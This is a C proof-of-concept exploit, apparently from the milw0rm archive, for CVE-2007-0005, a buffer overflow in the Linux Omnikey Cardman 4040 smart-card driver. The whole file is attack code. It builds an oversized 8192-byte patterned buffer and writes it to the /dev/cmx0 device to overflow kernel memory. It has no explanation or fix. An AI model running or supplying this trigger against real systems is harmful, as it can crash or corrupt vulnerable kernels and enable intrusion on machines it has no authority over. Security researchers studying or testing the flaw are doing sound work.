/*
* Linux Omnikey Cardman 4040 driver buffer overflow (CVE-2007-0005)
* Copyright (C) Daniel Roethlisberger <daniel.roethlisberger@csnc.ch>
* Compass Security Network Computing AG, Rapperswil, Switzerland.
* All rights reserved.
* http://www.csnc.ch/
*/
#include<sys/stat.h>
#include<fcntl.h>
#include<unistd.h>
#include<stdlib.h>
#include<stdio.h>
#include<string.h>
#include<errno.h>
int main(int argc, char *argv[]) {
int fd, i, n;
char buf[8192];
/*
* 0 1 2 3 4 5 6 7 8 9 a b c d e f ...
* 00 01 00 02 00 03 00 04 00 05 00 06 00 07 00 08 ...
*/
for (i = 0; i < sizeof(buf); i += 2) {
buf[i] = (char)(((i/2) & 0xFF00) >> 8);
buf[i+1] = (char) ((i/2) & 0x00FF);
}
if ((fd = open("/dev/cmx0", O_RDWR)) < 0) {
printf("Error: open() => %s\n", strerror(errno));
exit(errno);
}
if ((n = write(fd, buf, sizeof(buf))) < 0) {
printf("Error: write() => %s\n", strerror(errno));
exit(errno);
}
printf("%d of %d bytes written\n", n, sizeof(buf));
exit(0);
}
// milw0rm.com [2007-03-09]
